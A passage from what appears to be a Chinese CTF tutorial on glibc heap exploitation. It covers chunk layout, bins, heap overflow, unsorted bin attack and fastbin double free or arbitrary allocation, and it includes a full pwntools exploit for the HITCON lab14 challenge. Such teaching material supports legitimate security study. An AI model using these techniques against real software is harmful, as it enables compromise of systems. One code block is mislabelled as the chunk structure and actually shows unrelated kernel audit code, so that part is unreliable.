struct malloc_chunk* bk_nextsize;
}
</code></pre>
<p><strong>free_chunk</strong> 的结构如下</p>
<pre><code class="language-c">static void free_chunk(struct audit_chunk *chunk)
{
int i;
for (i = 0; i &lt; chunk-&gt;count; i++) {
if (chunk-&gt;owners[i].owner)
put_tree(chunk-&gt;owners[i].owner);
}
kfree(chunk);
}
</code></pre>
<p>每个字段的具体的解释如下</p>
<ul>
<li><strong>prev_size</strong>, 如果该 chunk 的**物理相邻的前一地址chunk两个指针的地址差值为前一chunk大小**是空闲的话,那该字段记录的是前一个 chunk 的大小(包括 chunk 头)。否则该字段可以用来存储物理相邻的前一个chunk 的数据。**这里的前一 chunk 指的是较低地址的 chunk **。</li>
<li><strong>size</strong> ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中SIZE_SZ 是 464 位系统中SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示</li>
<li>NON_MAIN_ARENA记录当前 chunk 是否不属于主线程1表示不属于0表示属于。</li>
<li>IS_MAPPED记录当前 chunk 是否是由 mmap 分配的。</li>
<li><strong>PREV_INUSE</strong><strong>记录前一个 chunk 块是否被分配</strong>。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并。</li>
<li><strong>fdbk</strong>。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下</li>
<li>fd 指向下一个(非物理相邻)空闲的 chunk</li>
<li>bk 指向上一个(非物理相邻)空闲的 chunk</li>
<li>通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理</li>
<li><strong>fd_nextsize bk_nextsize</strong>,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunklarge chunk</li>
<li>fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。</li>
<li>bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。</li>
<li>一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。<strong>这样做可以避免在寻找合适chunk 时挨个遍历。</strong>
一个已经分配的 chunk 的样子如下。<strong>我们称前两个字段称为 chunk header后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。</strong>
被释放的 chunk 被记录在链表中(可能是循环双向链表,也可能是单向链表)。
可以发现,如果一个 chunk 处于 free 状态,那么会有两个位置记录其相应的大小</li>
</ul>
<ol>
<li>本身的 size 字段会记录,</li>
<li>它后面的 chunk 会记录。
<strong>一般情况下</strong>,物理相邻的两个空闲 chunk 会被合并为一个 chunk 。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。</li>
</ol>
<h2 id="bin"><a class="header" href="#bin">bin</a></h2>
<h3 id="fast-bins"><a class="header" href="#fast-bins">fast bins</a></h3>
<ul>
<li>单向列表</li>
<li>LIFO</li>
<li>管理 16、24、32、40、48、56、64 Bytes 的 free chunks32位下默认</li>
<li>其中的 chunk 的 in_use 位(下一个物理相邻的 chunk 的 P 位总为1</li>
</ul>
<h3 id="unsorted-bin"><a class="header" href="#unsorted-bin">unsorted bin</a></h3>
<ul>
<li>bins[1]</li>
<li>管理刚刚释放还为分类的 chunk</li>
<li>可以视为空闲 chunk 回归其所属 bin 之前的缓冲区</li>
</ul>
<h3 id="small-bins"><a class="header" href="#small-bins">small bins</a></h3>
<ul>
<li>bins[2] ~ bins[63]</li>
<li>62 个循环双向链表</li>
<li>FIFO</li>
<li>管理 16、24、32、40、 …… 、504 Bytes 的 free chunks32位下</li>
<li>每个链表中存储的 chunk 大小都一致</li>
</ul>
<h3 id="large-bins"><a class="header" href="#large-bins">large bins</a></h3>
<ul>
<li>bins[64] ~ bins[126]</li>
<li>63 个循环双向链表</li>
<li>FIFO</li>
<li>管理大于 504 Bytes 的 free chunks32位下</li>
</ul>
<h1 id="堆溢出"><a class="header" href="#堆溢出">堆溢出</a></h1>
<h2 id="介绍"><a class="header" href="#介绍">介绍</a></h2>
<p>堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(<strong>之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数</strong>),因而导致了数据溢出,并覆盖到<strong>物理相邻的高地址</strong>的下一个堆块。
不难发现,堆溢出漏洞发生的基本前提是</p>
<ul>
<li>程序向堆上写入数据。</li>
<li>写入的数据大小没有被良好地控制。
对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。
堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是</li>
</ul>
<ol>
<li>覆盖与其<strong>物理相邻的下一个 chunk</strong> 的内容。</li>
</ol>
<ul>
<li>prev_size</li>
<li>size主要有三个比特位以及该堆块真正的大小。</li>
<li>NON_MAIN_ARENA</li>
<li>IS_MAPPED</li>
<li><strong>PREV_INUSE</strong></li>
<li>the True chunk size</li>
<li>chunk content从而改变程序固有的执行流。</li>
</ul>
<ol start="2">
<li>利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere或控制堆块中的内容等效果从而来控制程序的执行流。</li>
</ol>
<h2 id="基本示例"><a class="header" href="#基本示例">基本示例</a></h2>
<p>下面我们举一个简单的例子:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}
</code></pre>
<p>这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。</p>
<pre><code>0x602000: 0x0000000000000000 0x0000000000000021 &lt;===chunk
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 &lt;===top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
</code></pre>
<p>print A*100
进行写入</p>
<pre><code>0x602000: 0x0000000000000000 0x0000000000000021 &lt;===chunk
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141 &lt;===top chunk(已被溢出)
0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141
</code></pre>
<h1 id="unsorted-bin-attack"><a class="header" href="#unsorted-bin-attack">Unsorted Bin Attack</a></h1>
<h2 id="概述"><a class="header" href="#概述">概述</a></h2>
<p>Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。</p>
<h3 id="基本来源"><a class="header" href="#基本来源">基本来源</a></h3>
<ol>
<li>当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE就会被放到 unsorted bin 中。</li>
<li>释放一个不属于 fast bin 的 chunk并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。</li>
<li>当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。</li>
</ol>
<h3 id="基本使用情况"><a class="header" href="#基本使用情况">基本使用情况</a></h3>
<ol>
<li>Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO<strong>即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取</strong></li>
<li>在程序 malloc 时,如果在 fastbinsmall bin 中找不到对应大小的 chunk就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。</li>
</ol>
<h2 id="unsorted-bin-leak"><a class="header" href="#unsorted-bin-leak">Unsorted Bin Leak</a></h2>
<p>在介绍 Unsorted Bin Attack 之前,我们先介绍一下如何使用 Unsorted Bin 进行 Leak。这其实是一个小 trick许多题中都会用到。</p>
<h3 id="unsorted-bin-的结构"><a class="header" href="#unsorted-bin-的结构">Unsorted Bin 的结构</a></h3>
<p><code>Unsorted Bin</code> 在管理时为循环双向链表,若 <code>Unsorted Bin</code> 中有两个 <code>bin</code>,那么该链表结构如下
<img src="../../img_list/unsortedbinsstruct.jpg" alt="" />
下面这张图就是上面的结构的复现
<img src="../../img_list/gdbdebugstate.png" alt="" />
我们可以看到,在该链表中必有一个节点的 <code>fd</code> 指针会指向 <code>main_arena</code> 结构体内部。</p>
<h3 id="leak-原理"><a class="header" href="#leak-原理">Leak 原理</a></h3>
<p>如果我们可以把正确的 <code>fd</code> 指针 leak 出来,就可以获得一个与 <code>main_arena</code> 有固定偏移的地址,这个偏移可以通过调试得出。而<code>main_arena</code> 是一个 <code>struct malloc_state</code> 类型的全局变量,是 <code>ptmalloc</code> 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 <code>.data</code> 或者 <code>.bss</code> 等段上,那么如果我们有进程所使用的 <code>libc</code><code>.so</code> 文件的话,我们就可以获得 <code>main_arena</code><code>libc</code> 基地址的偏移,实现对 <code>ASLR</code> 的绕过。
<code>main_arena</code><code>__malloc_hook</code> 的地址差是 0x10而大多数的 libc 都可以直接查出 <code>__malloc_hook</code> 的地址,这样可以大幅减小工作量。以 pwntools 为例</p>
<pre><code class="language-python">main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10
</code></pre>
<p>这样就可以获得 <code>main_arena</code> 与基地址的偏移了。</p>
<h2 id="hitcon-training-lab14-magic-heap"><a class="header" href="#hitcon-training-lab14-magic-heap">HITCON Training lab14 magic heap</a></h2>
<p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14">题目链接</a>
这里我们修改一下源程序中的 l33t 函数,以便于可以正常运行。</p>
<pre><code class="language-c">void l33t() { system("cat ./flag"); }
</code></pre>
<h3 id="基本信息"><a class="header" href="#基本信息">基本信息</a></h3>
<pre><code class="language-shell">➜ hitcontraining_lab14 git:(master) file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped
➜ hitcontraining_lab14 git:(master) checksec magicheap
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
</code></pre>
<p>可以看出该程序是一个动态链接的64程序主要开启了 NX 保护与 Canary 保护。</p>
<h3 id="基本功能"><a class="header" href="#基本功能">基本功能</a></h3>
<p>程序大概就是自己写的堆管理器,主要有以下功能</p>
<ol>
<li>创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。</li>
<li>编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。</li>
<li>删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。
同时,我们看到,当我们控制 v3 为 4869同时控制 magic 大于 4869就可以得到 flag 了。</li>
</ol>
<h3 id="利用"><a class="header" href="#利用">利用</a></h3>
<p>很显然, 我们直接利用 unsorted bin attack 即可。</p>
<ol>
<li>释放一个堆块到 unsorted bin 中。</li>
<li>利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &amp;magic-16。</li>
<li>触发漏洞即可。
代码如下</li>
</ol>
<pre><code class="language-Python">#-*- coding:utf-8-*-
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")
local = 1
if local:
p = process('./hitcontraining_magicheap')#,env={'LD_PRELOAD':'./libc.so.6'})
else:
p = remote('node3.buuoj.cn',27597)
elf = ELF('hitcontraining_magicheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
o_g = [0x45226,0x4527a,0xf0364,0xf1207]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
shellcode = asm(shellcraft.sh())
magic = 0x00006020A0
def add(size, content):
sla('choice :', '1')
sla('Heap : ', str(size))
sla('heap:', content)
def edit(idx, size, content):
sla('choice :', '2')
sla('Index :', str(idx))
sla('Heap : ', str(size))
sla('heap :', content)
def remove(idx):
sla('choice :', '3')
sla('Index :', str(idx))
add(0x30, 'a'*0x3)
add(0x30, 'b'*0x3)
add(0x80, 'c'*0x3)
add(0x30, 'd'*0x3)
remove(2)
payload = 'b'*0x30+p64(0)+p64(0x91)+p64(magic-0x10)*2
edit(1, 0x80, payload)
gdb.attach(p)
add(0x80, 'e'*0x80)
gdb.attach(p)
sla(':', str(4869))
p.interactive()
</code></pre>
<h1 id="fastbin-attack"><a class="header" href="#fastbin-attack">Fastbin Attack</a></h1>
<h2 id="介绍-1"><a class="header" href="#介绍-1">介绍</a></h2>
<p>fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:</p>
<ul>
<li>存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞</li>
<li>漏洞发生于 fastbin 类型的 chunk 中
如果细分的话,可以做如下的分类:</li>
<li><strong>Fastbin Double Free</strong></li>
<li>House of Spirit</li>
<li>Alloc to Stack</li>
<li><strong>Arbitrary Alloc</strong>
其中,前两种主要漏洞侧重于利用 <code>free</code> 函数释放<strong>真的 chunk 或伪造的 chunk</strong>,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 <code>fd</code> 指针,直接利用 <code>malloc</code> 申请指定位置 chunk 进行攻击。</li>
</ul>
<h2 id="原理"><a class="header" href="#原理">原理</a></h2>
<p>fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
我们来看一下 fastbin 是怎样管理空闲 chunk 的。</p>
<pre><code>int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x30);
chunk2=malloc(0x30);
chunk3=malloc(0x30);
//进行释放
free(chunk1);
free(chunk2);
free(chunk3);
return 0;
}
</code></pre>
<p>释放前</p>
<pre><code>0x602000: 0x0000000000000000 0x0000000000000041 &lt;=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 &lt;=== chunk2
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 &lt;=== chunk3
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 &lt;=== top chunk
</code></pre>
<p>执行三次 free 进行释放后</p>
<pre><code>0x602000: 0x0000000000000000 0x0000000000000041 &lt;=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 &lt;=== chunk2
0x602050: 0x0000000000602000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 &lt;=== chunk3
0x602090: 0x0000000000602040 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 &lt;=== top chunk
</code></pre>
<p>此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1构成了一个单链表</p>
<pre><code>Fastbins[idx=2, size=0x30,ptr=0x602080]
===&gt;Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE)
===&gt;Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE)
===&gt;Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE)
</code></pre>
<h2 id="fastbin-double-free"><a class="header" href="#fastbin-double-free">Fastbin Double Free</a></h2>
<h3 id="介绍-2"><a class="header" href="#介绍-2">介绍</a></h3>
<p>Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆(type confused)的效果。
Fastbin Double Free 能够成功利用主要有两部分的原因</p>
<ol>
<li>fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空</li>
<li>fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。</li>
</ol>
<pre><code>/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
</code></pre>
<h3 id="演示"><a class="header" href="#演示">演示</a></h3>
<pre><code>int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1); // 1-&gt;2-&gt;1
free(chunk2);
free(chunk1);
return 0;
}
</code></pre>
<p>第一次释放<code>free(chunk1)</code>
<img src="../../img_list/fastbin_free_chunk1.png" alt="" />
第二次释放<code>free(chunk2)</code>
<img src="../../img_list/fastbin_free_chunk2.png" alt="" />
第三次释放<code>free(chunk1)</code>
<img src="../../img_list/fastbin_free_chunk3.png" alt="" />
注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。
下面这个示例演示了这一点,首先跟前面一样构造 main_arena=&gt;chunk1=&gt;chun2=&gt;chunk1的链表。之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk之后我们可以看到 fastbin 会把堆块分配到这里。</p>
<pre><code>typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a=malloc(0x10);
*(long long *)chunk_a=&amp;bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}
</code></pre>
<p>在我的系统上 chunk_b 输出的值会是 0x601090这个值位于bss段中正是我们之前设置的<code>CHUNK bss_chunk</code></p>
<pre><code>Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/Ox9A82/tst/tst
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/Ox9A82/tst/tst
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/Ox9A82/tst/tst
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
0x601080 &lt;bss_chunk&gt;: 0x0000000000000000 0x0000000000000021
0x601090 &lt;bss_chunk+16&gt;:0x0000000000000000 0x0000000000000000
0x6010a0: 0x0000000000000000 0x0000000000000000
0x6010b0: 0x0000000000000000 0x0000000000000000
0x6010c0: 0x0000000000000000 0x0000000000000000
</code></pre>
<p>值得注意的是,我们在 main 函数的第一步就进行了<code>bss_chunk.size=0x21;</code>的操作这是因为_int_malloc会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。</p>
<pre><code>*** Error in `./tst': malloc(): memory corruption (fast): 0x0000000000601090 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f8f9deb27e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f8f9debd651]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f8f9debf184]
./tst[0x400636]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8f9de5b830]
./tst[0x4004e9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 1052570 /home/Ox9A82/tst/tst
00600000-00601000 r--p 00000000 08:01 1052570 /home/Ox9A82/tst/tst
00601000-00602000 rw-p 00001000 08:01 1052570 /home/Ox9A82/tst/tst
00bc4000-00be5000 rw-p 00000000 00:00 0 [heap]
7f8f98000000-7f8f98021000 rw-p 00000000 00:00 0
7f8f98021000-7f8f9c000000 ---p 00000000 00:00 0
7f8f9dc25000-7f8f9dc3b000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f9dc3b000-7f8f9de3a000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f9de3a000-7f8f9de3b000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f9de3b000-7f8f9dffb000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f9dffb000-7f8f9e1fb000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f9e1fb000-7f8f9e1ff000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f9e1ff000-7f8f9e201000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so
7f8f9e201000-7f8f9e205000 rw-p 00000000 00:00 0
7f8f9e205000-7f8f9e22b000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f9e40d000-7f8f9e410000 rw-p 00000000 00:00 0
7f8f9e427000-7f8f9e42a000 rw-p 00000000 00:00 0
7f8f9e42a000-7f8f9e42b000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f9e42b000-7f8f9e42c000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so
7f8f9e42c000-7f8f9e42d000 rw-p 00000000 00:00 0
7fff71a94000-7fff71ab5000 rw-p 00000000 00:00 0 [stack]
7fff71bd9000-7fff71bdb000 r--p 00000000 00:00 0 [vvar]
7fff71bdb000-7fff71bdd000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
已放弃 (核心已转储)
</code></pre>
<p>_int_malloc 中的校验如下</p>
<pre><code>if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
</code></pre>
<h3 id="小总结"><a class="header" href="#小总结">小总结</a></h3>
<p>通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。
如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果( 首先要通过验证 ),这就相当于任意地址写任意值的效果。</p>
<h2 id="arbitrary-alloc"><a class="header" href="#arbitrary-alloc">Arbitrary Alloc</a></h2>
<h3 id="介绍-3"><a class="header" href="#介绍-3">介绍</a></h3>
<p>Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。
事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中比如bss、heap、data、stack等等。</p>
<h3 id="演示-1"><a class="header" href="#演示-1">演示</a></h3>
<p>在这个例子,我们使用字节错位来实现直接分配 fastbin 到**_malloc_hook的位置相当于覆盖_malloc_hook来控制程序流程。**</p>
<pre><code>int main(void)
{
void *chunk1;
void *chunk_a;
chunk1=malloc(0x60);
free(chunk1);
*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}
</code></pre>
<p>这里的0x7ffff7dd1af5是我根据本机的情况得出的值这个值是怎么获得的呢首先我们要观察欲写入地址附近是否存在可以字节错位的情况。</p>
<pre><code>0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 &lt;__malloc_hook&gt;: 0x30 0x28 0xa9 0xf7 0xff z 0x0 0x0
</code></pre>
<p>0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址于是我们向上寻找是否可以错位出一个合法的size域。因为这个程序是 64 位的,因此 fastbin 的范围为32字节到128字节(0x20-0x80),如下:</p>
<pre><code>//这里的size指用户区域因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
</code></pre>
<p>通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个0x000000000000007f</p>
<pre><code>0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af5 &lt;_IO_wide_data_0+309&gt;: 0x000000000000007f
</code></pre>
<p>因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。</p>
<pre><code class="language-c">##define fastbin_index(sz) \
((((unsigned int) (sz)) &gt;&gt; (SIZE_SZ == 8 ? 4 : 3)) - 2)
</code></pre>
<p>注意sz的大小是unsigned int因此只占4个字节
而其大小又包含了 0x10 的 chunk_header因此我们选择分配 0x60 的 fastbin将其加入链表。
最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd因此我们就可以直接控制 __malloc_hook的内容(在我的libc中__realloc_hook与__malloc_hook是在连在一起的)。</p>
<pre><code>0x4005a8 &lt;main+66&gt; call 0x400450 &lt;malloc@plt&gt;
→ 0x4005ad &lt;main+71&gt; mov QWORD PTR [rbp-0x8], rax
$rax : 0x7ffff7dd1afd
0x7ffff7dd1aed &lt;_IO_wide_data_0+301&gt;: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d &lt;__realloc_hook+5&gt;: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
</code></pre>
<h3 id="小总结-1"><a class="header" href="#小总结-1">小总结</a></h3>
<p>Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk最后的效果也就相当于任意地址写任意值。</p>
<h2 id="2017-0ctf-babyheap"><a class="header" href="#2017-0ctf-babyheap">2017 0ctf babyheap</a></h2>
<p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap">题目链接</a></p>
<h3 id="基本信息-1"><a class="header" href="#基本信息-1">基本信息</a></h3>
<pre><code class="language-shell">➜ 2017_0ctf_babyheap git:(master) file babyheap
